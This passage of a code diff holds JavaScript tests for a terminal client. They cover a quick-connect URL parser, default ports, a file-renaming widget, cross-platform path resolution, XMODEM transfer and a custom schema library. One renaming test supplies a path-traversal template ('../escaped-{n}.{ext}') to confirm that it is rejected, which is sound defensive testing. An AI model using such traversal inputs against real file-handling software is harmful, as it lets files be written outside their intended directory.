test('should parse ssh://user:password@host:port/ with trailing slash', () => {
const result = parseQuickConnect('ssh://user:password@192.168.1.100:22/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.password, 'password')
assert.strictEqual(result.port, 22)
})
test('should parse ssh://host:port/ with trailing slash', () => {
const result = parseQuickConnect('ssh://192.168.1.100:2222/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 2222)
})
test('should parse ssh://host/ with trailing slash', () => {
const result = parseQuickConnect('ssh://192.168.1.100/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse ftp://user@host:port/ with trailing slash', () => {
const result = parseQuickConnect('ftp://user@ftp.example.com:21/')
assert.strictEqual(result.type, 'ftp')
assert.strictEqual(result.host, 'ftp.example.com')
assert.strictEqual(result.user, 'user')
assert.strictEqual(result.port, 21)
})
test('should parse telnet://host/ with trailing slash', () => {
const result = parseQuickConnect('telnet://192.168.1.1/')
assert.strictEqual(result.type, 'telnet')
assert.strictEqual(result.host, '192.168.1.1')
})
test('should parse vnc://host/ with trailing slash', () => {
const result = parseQuickConnect('vnc://192.168.1.100/')
assert.strictEqual(result.type, 'vnc')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse https://host/ with trailing slash', () => {
const result = parseQuickConnect('https://example.com/')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'https://example.com')
})
test('should parse https://host:port/ with trailing slash', () => {
const result = parseQuickConnect('https://example.com:8443/')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'https://example.com:8443')
})
test('should parse electerm://host/ with trailing slash', () => {
const result = parseQuickConnect('electerm://192.168.1.100/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse electerm://user@host:port/ with trailing slash', () => {
const result = parseQuickConnect('electerm://user@192.168.1.100:22/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.port, 22)
})
test('should parse host/ shortcut with trailing slash', () => {
const result = parseQuickConnect('192.168.1.100/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse user@host/ shortcut with trailing slash', () => {
const result = parseQuickConnect('user@192.168.1.100/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
})
test('should parse host:port/ shortcut with trailing slash', () => {
const result = parseQuickConnect('192.168.1.100:2222/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 2222)
})
test('should parse ssh://host/opts/ with trailing slash before opts', () => {
const result = parseQuickConnect("ssh://user@host:22/?opts='{\"title\": \"My Server\"}'")
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, 'host')
assert.strictEqual(result.title, 'My Server')
})
// Test invalid inputs
test('should return null for unsupported protocol', () => {
const result = parseQuickConnect('unsupported://host')
assert.strictEqual(result, null)
})
test('should return null for invalid format', () => {
// Truly invalid format that can't be parsed
const result = parseQuickConnect('://host')
assert.strictEqual(result, null)
})
test('should handle protocol without host', () => {
const result = parseQuickConnect('ssh://')
assert.strictEqual(result, null)
})
})
describe('getDefaultPort', function () {
test('should return correct default port for ssh', () => {
assert.strictEqual(getDefaultPort('ssh'), 22)
})
test('should return correct default port for telnet', () => {
assert.strictEqual(getDefaultPort('telnet'), 23)
})
test('should return correct default port for vnc', () => {
assert.strictEqual(getDefaultPort('vnc'), 5900)
})
test('should return correct default port for rdp', () => {
assert.strictEqual(getDefaultPort('rdp'), 3389)
})
test('should return correct default port for spice', () => {
assert.strictEqual(getDefaultPort('spice'), 5900)
})
test('should return correct default port for ftp', () => {
assert.strictEqual(getDefaultPort('ftp'), 21)
})
test('should return correct default port for http', () => {
assert.strictEqual(getDefaultPort('http'), 80)
})
test('should return correct default port for https', () => {
assert.strictEqual(getDefaultPort('https'), 443)
})
test('should return undefined for serial', () => {
assert.strictEqual(getDefaultPort('serial'), undefined)
})
})
describe('getSupportedProtocols', function () {
test('should return array of supported protocols', () => {
const protocols = getSupportedProtocols()
assert(Array.isArray(protocols))
assert(protocols.includes('ssh'))
assert(protocols.includes('telnet'))
assert(protocols.includes('vnc'))
assert(protocols.includes('rdp'))
assert(protocols.includes('spice'))
assert(protocols.includes('serial'))
assert(protocols.includes('ftp'))
assert(protocols.includes('http'))
assert(protocols.includes('https'))
})
})
describe('SUPPORTED_PROTOCOLS', function () {
test('should include all expected protocols', () => {
assert(SUPPORTED_PROTOCOLS.includes('ssh'))
assert(SUPPORTED_PROTOCOLS.includes('telnet'))
assert(SUPPORTED_PROTOCOLS.includes('vnc'))
assert(SUPPORTED_PROTOCOLS.includes('rdp'))
assert(SUPPORTED_PROTOCOLS.includes('spice'))
assert(SUPPORTED_PROTOCOLS.includes('serial'))
assert(SUPPORTED_PROTOCOLS.includes('ftp'))
assert(SUPPORTED_PROTOCOLS.includes('http'))
assert(SUPPORTED_PROTOCOLS.includes('https'))
})
})
describe('DEFAULT_PORTS', function () {
test('should have correct default ports', () => {
assert.strictEqual(DEFAULT_PORTS.ssh, 22)
assert.strictEqual(DEFAULT_PORTS.telnet, 23)
assert.strictEqual(DEFAULT_PORTS.vnc, 5900)
assert.strictEqual(DEFAULT_PORTS.rdp, 3389)
assert.strictEqual(DEFAULT_PORTS.spice, 5900)
assert.strictEqual(DEFAULT_PORTS.ftp, 21)
assert.strictEqual(DEFAULT_PORTS.http, 80)
assert.strictEqual(DEFAULT_PORTS.https, 443)
})
test('should have electerm default port', () => {
assert.strictEqual(DEFAULT_PORTS.electerm, 22)
})
})
describe('electerm:// protocol', function () {
// Test electerm:// with default type (ssh)
test('should parse electerm://host (default type ssh)', () => {
const result = parseQuickConnect('electerm://192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse electerm://user@host', () => {
const result = parseQuickConnect('electerm://user@192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
})
test('should parse electerm://user:password@host:port', () => {
const result = parseQuickConnect('electerm://user:password@192.168.1.100:22')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 22)
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.password, 'password')
})
// Test electerm:// with type query param
test('should parse electerm://host?type=telnet', () => {
const result = parseQuickConnect('electerm://192.168.1.1?type=telnet')
assert.strictEqual(result.type, 'telnet')
assert.strictEqual(result.host, '192.168.1.1')
})
test('should parse electerm://host?type=vnc', () => {
const result = parseQuickConnect('electerm://192.168.1.100?type=vnc')
assert.strictEqual(result.type, 'vnc')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse electerm://host?type=rdp', () => {
const result = parseQuickConnect('electerm://192.168.1.100?type=rdp')
assert.strictEqual(result.type, 'rdp')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse electerm://host?type=serial', () => {
const result = parseQuickConnect('electerm://COM1?type=serial')
assert.strictEqual(result.type, 'serial')
assert.strictEqual(result.path, 'COM1')
})
test('should parse electerm://host?type=spice', () => {
const result = parseQuickConnect('electerm://192.168.1.100?type=spice')
assert.strictEqual(result.type, 'spice')
assert.strictEqual(result.host, '192.168.1.100')
})
// Test electerm:// with tp query param (alias for type)
test('should parse electerm://host?tp=vnc', () => {
const result = parseQuickConnect('electerm://192.168.1.100?tp=vnc')
assert.strictEqual(result.type, 'vnc')
assert.strictEqual(result.host, '192.168.1.100')
})
// Test electerm:// with port
test('should parse electerm://host:port?type=ssh', () => {
const result = parseQuickConnect('electerm://192.168.1.100:2222?type=ssh')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 2222)
})
// Test electerm:// with title query param
test('should parse electerm://host?type=ssh&title=MyServer', () => {
const result = parseQuickConnect('electerm://192.168.1.100?type=ssh&title=MyServer')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.title, 'MyServer')
})
// Test electerm:// with username and type
test('should parse electerm://user@host:port?type=telnet', () => {
const result = parseQuickConnect('electerm://admin@192.168.1.1:23?type=telnet')
assert.strictEqual(result.type, 'telnet')
assert.strictEqual(result.host, '192.168.1.1')
assert.strictEqual(result.port, 23)
assert.strictEqual(result.username, 'admin')
})
// Test electerm:// with web type
test('should parse electerm://host?type=https', () => {
const result = parseQuickConnect('electerm://example.com?type=https')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'https://example.com')
})
test('should parse electerm://host:port?type=http', () => {
const result = parseQuickConnect('electerm://example.com:8080?type=http')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'http://example.com:8080')
})
// Test electerm:// with invalid type
test('should return null for electerm://host?type=invalid', () => {
const result = parseQuickConnect('electerm://192.168.1.100?type=invalid')
assert.strictEqual(result, null)
})
// Test electerm:// with serial baudRate
test('should parse electerm://COM1?type=serial&baudRate=115200', () => {
const result = parseQuickConnect('electerm://COM1?type=serial&baudRate=115200')
assert.strictEqual(result.type, 'serial')
assert.strictEqual(result.path, 'COM1')
assert.strictEqual(result.baudRate, 115200)
})
})
+194
View File
@@ -0,0 +1,194 @@
const {
test: it, expect
} = require('@playwright/test')
const { describe } = it
const { listWidgets } = require('../../src/app/widgets/load-widget')
const { widgetRun } = require('../../src/app/widgets/widget-rename')
const fs = require('fs/promises')
const path = require('path')
it.setTimeout(100000)
describe('rename-widget', function () {
let testDir = null
async function createTestFiles () {
testDir = path.join(process.cwd(), 'temp-rename-test-' + Date.now())
await fs.mkdir(testDir)
// Create test files
await fs.writeFile(path.join(testDir, 'file1.txt'), 'Content 1')
await fs.writeFile(path.join(testDir, 'file2.txt'), 'Content 2')
await fs.writeFile(path.join(testDir, 'file3.jpg'), 'Image content')
// Create a subdirectory with a file
const subDir = path.join(testDir, 'subfolder')
await fs.mkdir(subDir)
await fs.writeFile(path.join(subDir, 'subfile.txt'), 'Sub content')
}
async function cleanup () {
if (testDir) {
try {
await fs.rm(testDir, { recursive: true, force: true })
} catch (err) {
console.error('Cleanup error:', err)
}
}
}
it.beforeEach(async () => {
await createTestFiles()
})
it.afterEach(async () => {
await cleanup()
})
it('should have rename widget available', async function () {
const widgets = listWidgets()
expect(Array.isArray(widgets)).toBe(true)
const renameWidget = widgets.find(w => w.id === 'rename')
expect(renameWidget).toBeTruthy()
expect(renameWidget.info.name).toBe('File Renamer')
})
it('should rename files with simple pattern', async function () {
const renameResult = await widgetRun({
directory: testDir,
template: '{name}-renamed.{ext}',
fileTypes: '*',
includeSubfolders: false
})
expect(renameResult.success).toBe(true)
expect(renameResult.totalRenamed).toBe(3) // Should rename 3 files in the main directory
// Check if files were renamed correctly
const renamedFiles = await fs.readdir(testDir)
expect(renamedFiles).toContain('file1-renamed.txt')
expect(renamedFiles).toContain('file2-renamed.txt')
expect(renamedFiles).toContain('file3-renamed.jpg')
})
it('should rename with sequential numbers', async function () {
const renameResult = await widgetRun({
directory: testDir,
template: 'myfile-{n:3}.{ext}',
fileTypes: '*',
startNumber: 10,
includeSubfolders: false
})
expect(renameResult.success).toBe(true)
const renamedFiles = await fs.readdir(testDir)
expect(renamedFiles).toContain('myfile-010.txt')
expect(renamedFiles).toContain('myfile-011.txt')
expect(renamedFiles).toContain('myfile-012.jpg')
})
it('should filter by file type', async function () {
const renameResult = await widgetRun({
directory: testDir,
template: '{name}-{n}.{ext}',
fileTypes: 'txt',
includeSubfolders: false
})
expect(renameResult.success).toBe(true)
expect(renameResult.totalRenamed).toBe(2) // Should only rename .txt files
const renamedFiles = await fs.readdir(testDir)
// file3.jpg should remain unchanged
expect(renamedFiles).toContain('file3.jpg')
})
it('should include subfolders when enabled', async function () {
const renameResult = await widgetRun({
directory: testDir,
template: '{parent}-{name}-{n}.{ext}',
fileTypes: '*',
includeSubfolders: true
})
expect(renameResult.success).toBe(true)
expect(renameResult.totalRenamed).toBe(4) // All files including subfolder file
// Check subfolder file was renamed
const subFiles = await fs.readdir(path.join(testDir, 'subfolder'))
expect(subFiles[0]).toMatch(/subfolder-subfile-\d\.txt/)
})
it('should handle template with dates and random', async function () {
const renameResult = await widgetRun({
directory: testDir,
template: '{name}-{date}-{random}.{ext}',
fileTypes: '*',
includeSubfolders: false
})
expect(renameResult.success).toBe(true)
// Verify that files were renamed with date and random pattern
const renamedFiles = await fs.readdir(testDir)
const datePattern = /\d{4}-\d{2}-\d{2}/
for (const file of renamedFiles) {
// If it's a directory, skip
const stats = await fs.stat(path.join(testDir, file))
if (stats.isDirectory()) continue
// Each renamed file should have a date pattern and a random substring
expect(file).toMatch(datePattern)
expect(file).toMatch(/[a-z0-9]{6}/)
}
})
it('should preserve filename case when enabled', async function () {
// Create a file with mixed case
await fs.writeFile(path.join(testDir, 'MixedCase.txt'), 'Mixed case content')
const renameResult = await widgetRun({
directory: testDir,
template: '{name}-renamed.{ext}',
fileTypes: '*',
preserveCase: true,
includeSubfolders: false
})
expect(renameResult.success).toBe(true)
const renamedFiles = await fs.readdir(testDir)
expect(renamedFiles).toContain('MixedCase-renamed.txt')
})
it('should handle error when directory does not exist', async function () {
const renameResult = await widgetRun({
directory: '/path/that/does/not/exist',
template: '{name}-renamed.{ext}',
fileTypes: '*'
})
expect(renameResult.success).toBe(false)
expect(renameResult.error).toBeTruthy()
})
it('should reject templates that escape the source directory', async function () {
const escapedPath = path.join(path.dirname(testDir), 'escaped-1.txt')
const renameResult = await widgetRun({
directory: testDir,
template: '../escaped-{n}.{ext}',
fileTypes: 'txt',
includeSubfolders: false
})
expect(renameResult.success).toBe(false)
expect(renameResult.error).toContain('path separators')
const renamedFiles = await fs.readdir(testDir)
expect(renamedFiles).toContain('file1.txt')
await expect(fs.stat(escapedPath)).rejects.toThrow()
})
})
+154
View File
@@ -0,0 +1,154 @@
// resolve.spec.js
const { describe, test } = require('node:test')
const assert = require('node:assert/strict')
let resolve
describe('resolve', () => {
test('setup: import ESM module', async () => {
const mod = await import('../../src/client/common/resolve.js')
resolve = mod.default
})
// ── Unix paths ──────────────────────────────────────────────
test('unix: append name to path', () => {
assert.strictEqual(resolve('/foo/bar', 'baz'), '/foo/bar/baz')
})
test('unix: append name to path with trailing slash', () => {
assert.strictEqual(resolve('/foo/bar/', 'baz'), '/foo/bar/baz')
})
test('unix: go up one level', () => {
assert.strictEqual(resolve('/foo/bar', '..'), '/foo')
})
test('unix: go up to root', () => {
assert.strictEqual(resolve('/foo', '..'), '/')
})
test('unix: go up from root stays at root', () => {
assert.strictEqual(resolve('/', '..'), '/')
})
test('unix: append name at root', () => {
assert.strictEqual(resolve('/', 'foo'), '/foo')
})
// ── Windows paths ───────────────────────────────────────────
test('win: append name to drive path', () => {
assert.strictEqual(resolve('C:\\foo\\bar', 'baz'), 'C:\\foo\\bar\\baz')
})
test('win: append name to drive path with trailing slash', () => {
assert.strictEqual(resolve('C:\\foo\\bar\\', 'baz'), 'C:\\foo\\bar\\baz')
})
test('win: go up one level on drive', () => {
assert.strictEqual(resolve('C:\\foo\\bar', '..'), 'C:\\foo')
})
test('win: go up to drive root', () => {
assert.strictEqual(resolve('C:\\foo', '..'), 'C:')
})
test('win: go up from drive root returns /', () => {
assert.strictEqual(resolve('C:\\', '..'), '/')
})
test('win: append name to drive root', () => {
assert.strictEqual(resolve('C:\\', 'foo'), 'C:\\foo')
})
test('win: append name to bare drive', () => {
assert.strictEqual(resolve('C:', 'foo'), 'C:\\foo')
})
// ── Absolute paths in nameOrDot ─────────────────────────────
test('abs: drive path from root', () => {
assert.strictEqual(resolve('/', 'C:\\'), 'C:\\')
})
test('abs: bare drive from root', () => {
assert.strictEqual(resolve('/', 'C:'), 'C:')
})
test('abs: drive path from another path', () => {
assert.strictEqual(resolve('/foo', 'C:\\bar'), 'C:\\bar')
})
test('abs: unix path from win path', () => {
assert.strictEqual(resolve('C:\\foo', '/bar'), '/bar')
})
test('abs: unix path from root', () => {
assert.strictEqual(resolve('/', '/foo'), '/foo')
})
// ── Edge cases ──────────────────────────────────────────────
test('edge: append to drive root', () => {
assert.strictEqual(resolve('C:\\', 'foo'), 'C:\\foo')
})
test('edge: go up from D: root returns /', () => {
assert.strictEqual(resolve('D:\\', '..'), '/')
})
// ── WSL paths (wsl.localhost) ───────────────────────────────
test('wsl: enter distro from root', () => {
assert.strictEqual(resolve('/', '\\\\wsl.localhost\\Ubuntu'), '\\\\wsl.localhost\\Ubuntu')
})
test('wsl: go up from distro root returns /', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu', '..'), '/')
})
test('wsl: go up from distro root with trailing slash returns /', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu\\', '..'), '/')
})
test('wsl: append child to distro root', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu', 'home'), '\\\\wsl.localhost\\Ubuntu\\home')
})
test('wsl: go up from child returns distro root', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu\\home', '..'), '\\\\wsl.localhost\\Ubuntu')
})
test('wsl: multi-level up', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu\\home\\user', '..'), '\\\\wsl.localhost\\Ubuntu\\home')
})
test('wsl: append in subdirectory', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu\\home', 'user'), '\\\\wsl.localhost\\Ubuntu\\home\\user')
})
test('wsl: append in subdirectory with trailing slash', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu\\home\\', 'user'), '\\\\wsl.localhost\\Ubuntu\\home\\user')
})
// ── WSL paths (wsl$) ───────────────────────────────────────
test('wsl$: go up from distro root returns /', () => {
assert.strictEqual(resolve('\\\\wsl$\\Ubuntu', '..'), '/')
})
test('wsl$: append child to distro root', () => {
assert.strictEqual(resolve('\\\\wsl$\\Ubuntu', 'home'), '\\\\wsl$\\Ubuntu\\home')
})
// ── WSL cross-path switching ────────────────────────────────
test('wsl: switch to win drive from wsl', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu', 'C:\\foo'), 'C:\\foo')
})
test('wsl: switch from win drive to wsl', () => {
assert.strictEqual(resolve('C:\\foo', '\\\\wsl.localhost\\Ubuntu'), '\\\\wsl.localhost\\Ubuntu')
})
})
+227
View File
@@ -0,0 +1,227 @@
// xmodem.spec.js
// Unit tests for XmodemSession verifies that the session resets properly
// after a successful send so that normal serial-port I/O resumes.
process.env.NODE_ENV = 'development'
const { describe, it } = require('node:test')
const assert = require('node:assert/strict')
const fs = require('node:fs')
const os = require('node:os')
const path = require('node:path')
const { XmodemSession, XMODEM_STATE } = require('../../src/app/server/xmodem')
// XMODEM control bytes
const SOH = 0x01
const EOT = 0x04
const ACK = 0x06
const CRC = 0x43 // 'C'
/**
* Helper: create a minimal XmodemSession with mock terminal and websocket.
* The mock terminal records all writes; the mock websocket records all
* JSON messages sent to the client.
*/
function createMockSession () {
const written = []
const clientMessages = []
const term = {
writeRaw: (data) => written.push(Buffer.from(data)),
write: (data) => written.push(Buffer.from(data))
}
const ws = {
s: (msg) => clientMessages.push(msg)
}
const session = new XmodemSession(term, ws)
return { session, written, clientMessages, term, ws }
}
/**
* CRC-16/XMODEM calculation (mirrors the one in xmodem.js)
*/
function crc16Xmodem (data) {
let crc = 0
for (let i = 0; i < data.length; i++) {
crc = crc ^ (data[i] << 8)
for (let j = 0; j < 8; j++) {
if (crc & 0x8000) {
crc = (crc << 1) ^ 0x1021
} else {
crc = crc << 1
}
}
crc = crc & 0xFFFF
}
return crc
}
describe('XmodemSession send lifecycle', () => {
it('isActive returns false after send completes (session-end)', async () => {
const { session, clientMessages } = createMockSession()
// Start send
session.startSend()
assert.equal(session.isActive(), true)
// Set up a temp file to send (one 128-byte packet)
const tmpFile = path.join(os.tmpdir(), `xmodem-test-${Date.now()}.bin`)
const fileData = Buffer.alloc(128, 0xAA)
fs.writeFileSync(tmpFile, fileData)
session.setSendFiles([{
name: 'test.bin',
path: tmpFile,
size: 128
}])
// Simulate remote requesting CRC mode
session.handleData(Buffer.from([CRC]))
assert.equal(session.state, XMODEM_STATE.SENDING)
// Simulate remote ACKing the data packet
session.handleData(Buffer.from([ACK]))
// After ACK, sendNextPacket sees file is done → sendEot fires.
// sendEot sends EOT, fires session-end, and calls resetState.
// The state should now be IDLE.
assert.equal(session.state, XMODEM_STATE.IDLE)
assert.equal(session.isActive(), false)
// Verify session-end was sent to client
const sessionEndMsg = clientMessages.find(m => m.event === 'session-end')
assert.ok(sessionEndMsg, 'session-end message should be sent')
// Verify file-complete was sent to client
const fileCompleteMsg = clientMessages.find(m => m.event === 'file-complete')
assert.ok(fileCompleteMsg, 'file-complete message should be sent')
// Cleanup
try { fs.unlinkSync(tmpFile) } catch (e) {}
})
it('sendEot does not loop when called multiple times (stale ACK)', async () => {
const { session, written } = createMockSession()
session.startSend()
const tmpFile = path.join(os.tmpdir(), `xmodem-test-loop-${Date.now()}.bin`)
fs.writeFileSync(tmpFile, Buffer.alloc(128, 0xBB))
session.setSendFiles([{
name: 'test.bin',
path: tmpFile,
size: 128
}])
// Remote requests CRC mode
session.handleData(Buffer.from([CRC]))
// Remote ACKs the data packet → triggers sendEot internally
session.handleData(Buffer.from([ACK]))
assert.equal(session.state, XMODEM_STATE.IDLE)
// Now simulate a stale ACK arriving after the session is already IDLE.
// Before the fix this would cause sendEot → sendNextPacket → sendEot loop.
const eotCountBefore = written.filter(b => b.length === 1 && b[0] === EOT).length
session.handleData(Buffer.from([ACK]))
const eotCountAfter = written.filter(b => b.length === 1 && b[0] === EOT).length
// No additional EOT should have been sent
assert.equal(eotCountAfter, eotCountBefore, 'no extra EOT on stale ACK')
// State should still be IDLE
assert.equal(session.state, XMODEM_STATE.IDLE)
try { fs.unlinkSync(tmpFile) } catch (e) {}
})
it('resetState clears timeouts', async () => {
const { session } = createMockSession()
session.startSend()
// startSend sets a receive timeout
assert.ok(session.receiveTimeout, 'receiveTimeout should be set after startSend')
session.resetState()
// After reset, timeouts should be nulled and state should be IDLE
assert.equal(session.receiveTimeout, null)
assert.equal(session.sendTimeout, null)
assert.equal(session.state, XMODEM_STATE.IDLE)
})
it('handleData returns false when session is IDLE (data passes through)', async () => {
const { session } = createMockSession()
// Session starts as IDLE
assert.equal(session.state, XMODEM_STATE.IDLE)
// Regular terminal data should NOT be consumed by xmodem
const consumed = session.handleData(Buffer.from('hello'))
assert.equal(consumed, false)
})
it('handleData returns false for non-protocol data when session is IDLE after send', async () => {
const { session } = createMockSession()
// Full send cycle: start → send files → remote ACKs → EOT → reset
session.startSend()
const fs = require('fs')
const tmpFile = path.join(os.tmpdir(), `xmodem-test-idle-${Date.now()}.bin`)
fs.writeFileSync(tmpFile, Buffer.alloc(128, 0xDD))
session.setSendFiles([{ name: 'test.bin', path: tmpFile, size: 128 }])
session.handleData(Buffer.from([CRC])) // remote requests CRC
session.handleData(Buffer.from([ACK])) // remote ACKs packet → sendEot → resetState
// Session should be IDLE
assert.equal(session.state, XMODEM_STATE.IDLE)
// Normal terminal text should NOT be consumed (falls through to ws.send)
assert.equal(session.handleData(Buffer.from('hello\n')), false)
assert.equal(session.handleData(Buffer.from([0x0D])), false) // Enter key
try { fs.unlinkSync(tmpFile) } catch (e) {}
})
it('receive path resets state after EOT completion', async () => {
const { session, written, clientMessages } = createMockSession()
// Set up save path
session.setSavePath(os.tmpdir())
// Build a valid XMODEM-128 CRC packet: SOH + block 1 + ~block1 + 128 data + CRC16
const blockNum = 1
const data = Buffer.alloc(128, 0xCC)
const crc = crc16Xmodem(data)
const packet = Buffer.alloc(3 + 128 + 2)
packet[0] = SOH
packet[1] = blockNum
packet[2] = blockNum ^ 0xFF
data.copy(packet, 3)
packet[3 + 128] = (crc >> 8) & 0xFF
packet[3 + 128 + 1] = crc & 0xFF
// Send the data packet
session.handleData(packet)
assert.equal(session.state, XMODEM_STATE.RECEIVING)
// Send EOT (end of transmission)
session.handleData(Buffer.from([EOT]))
// After EOT, receive path should have reset state to IDLE
assert.equal(session.state, XMODEM_STATE.IDLE)
assert.equal(session.isActive(), false)
// Verify ACK was sent for EOT
const ackWritten = written.find(b => b.length === 1 && b[0] === ACK)
assert.ok(ackWritten, 'ACK should be sent for EOT')
// Verify session-end was sent to client
const sessionEndMsg = clientMessages.find(m => m.event === 'session-end')
assert.ok(sessionEndMsg, 'session-end should be sent after receive complete')
})
})
+300
View File
@@ -0,0 +1,300 @@
const { z } = require('../../src/app/lib/zod')
const zodOriginal = require('zod')
const {
test: it, expect
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
describe('custom zod replacement', function () {
describe('basic types', function () {
it('z.string() creates string schema', function () {
const schema = z.string()
expect(schema._typeName).toEqual('string')
expect(schema['~standard']).toBeTruthy()
})
it('z.number() creates number schema', function () {
const schema = z.number()
expect(schema._typeName).toEqual('number')
})
it('z.boolean() creates boolean schema', function () {
const schema = z.boolean()
expect(schema._typeName).toEqual('boolean')
})
it('z.any() creates any schema', function () {
const schema = z.any()
expect(schema._typeName).toEqual('any')
})
})
describe('.optional() and .describe()', function () {
it('.optional() marks schema as optional', function () {
const schema = z.string().optional()
expect(schema._optional).toEqual(true)
// Original should not be mutated
const original = z.string()
expect(original._optional).toEqual(false)
})
it('.describe() adds description', function () {
const schema = z.string().describe('A name')
expect(schema._description).toEqual('A name')
})
it('chaining .optional().describe() works', function () {
const schema = z.number().optional().describe('Optional port')
expect(schema._optional).toEqual(true)
expect(schema._description).toEqual('Optional port')
})
it('chaining .describe().optional() works', function () {
const schema = z.number().describe('Port').optional()
expect(schema._optional).toEqual(true)
expect(schema._description).toEqual('Port')
})
})
describe('z.enum()', function () {
it('creates enum schema', function () {
const schema = z.enum(['a', 'b', 'c'])
expect(schema._typeName).toEqual('enum')
expect(schema._meta.values).toEqual(['a', 'b', 'c'])
})
it('supports .optional().describe()', function () {
const schema = z.enum(['none', 'even']).optional().describe('Parity')
expect(schema._optional).toEqual(true)
expect(schema._description).toEqual('Parity')
})
})
describe('z.object()', function () {
it('creates object schema', function () {
const schema = z.object({
name: z.string(),
age: z.number().optional()
})
expect(schema._typeName).toEqual('object')
})
it('z.object({}) creates empty object schema', function () {
const schema = z.object({})
expect(schema._typeName).toEqual('object')
})
})
describe('z.array()', function () {
it('creates array schema', function () {
const schema = z.array(z.string())
expect(schema._typeName).toEqual('array')
})
it('supports .optional().describe()', function () {
const schema = z.array(z.string()).optional().describe('Tags')
expect(schema._optional).toEqual(true)
expect(schema._description).toEqual('Tags')
})
})
describe('z.record()', function () {
it('creates record schema with value type', function () {
const schema = z.record(z.any())
expect(schema._typeName).toEqual('record')
})
it('creates record schema with key and value types', function () {
const schema = z.record(z.string(), z.any())
expect(schema._typeName).toEqual('record')
})
})
describe('z.toJSONSchema() - comparison with real zod', function () {
it('converts simple string schema', function () {
const custom = z.toJSONSchema(z.object({ name: z.string() }))
const original = zodOriginal.z.toJSONSchema(
zodOriginal.z.object({ name: zodOriginal.z.string() })
)
expect(custom.type).toEqual('object')
expect(custom.properties.name.type).toEqual(original.properties.name.type)
expect(custom.required).toContain('name')
})
it('converts object with optional fields', function () {
const custom = z.toJSONSchema(z.object({
host: z.string(),
port: z.number().optional()
}))
expect(custom.type).toEqual('object')
expect(custom.properties.host.type).toEqual('string')
expect(custom.properties.port.type).toEqual('number')
expect(custom.required).toContain('host')
expect(custom.required).not.toContain('port')
})
it('converts enum schema', function () {
const custom = z.toJSONSchema(z.object({
parity: z.enum(['none', 'even', 'odd'])
}))
const original = zodOriginal.z.toJSONSchema(
zodOriginal.z.object({
parity: zodOriginal.z.enum(['none', 'even', 'odd'])
})
)
expect(custom.properties.parity.enum).toEqual(original.properties.parity.enum)
})
it('converts array schema', function () {
const custom = z.toJSONSchema(z.object({
tags: z.array(z.string()).optional()
}))
expect(custom.properties.tags.type).toEqual('array')
expect(custom.properties.tags.items.type).toEqual('string')
expect(custom.required || []).not.toContain('tags')
})
it('converts nested object schema', function () {
const inner = z.object({
command: z.string(),
delay: z.number().optional()
})
const custom = z.toJSONSchema(z.object({
scripts: z.array(inner).optional()
}))
expect(custom.properties.scripts.type).toEqual('array')
expect(custom.properties.scripts.items.type).toEqual('object')
expect(custom.properties.scripts.items.properties.command.type).toEqual('string')
})
it('converts record schema', function () {
const custom = z.toJSONSchema(z.object({
updates: z.record(z.any())
}))
expect(custom.properties.updates.type).toEqual('object')
expect(custom.properties.updates.additionalProperties).toBeTruthy()
})
it('handles descriptions', function () {
const custom = z.toJSONSchema(z.object({
host: z.string().describe('Host address'),
port: z.number().optional().describe('Port number')
}))
expect(custom.properties.host.description).toEqual('Host address')
expect(custom.properties.port.description).toEqual('Port number')
})
})
describe('z.toJSONSchema() - plain shape objects (MCP inputSchema pattern)', function () {
it('converts plain object with zod values', function () {
const inputSchema = {
tabId: z.string().describe('Tab ID to switch to')
}
const result = z.toJSONSchema(z.object(inputSchema))
expect(result.type).toEqual('object')
expect(result.properties.tabId.type).toEqual('string')
expect(result.properties.tabId.description).toEqual('Tab ID to switch to')
})
it('handles empty object', function () {
const result = z.toJSONSchema(z.object({}))
expect(result.type).toEqual('object')
})
it('handles null/undefined input', function () {
const result = z.toJSONSchema(null)
expect(result.type).toEqual('object')
})
})
describe('~standard marker compatibility', function () {
it('all schema types have ~standard property', function () {
expect(z.string()['~standard']).toBeTruthy()
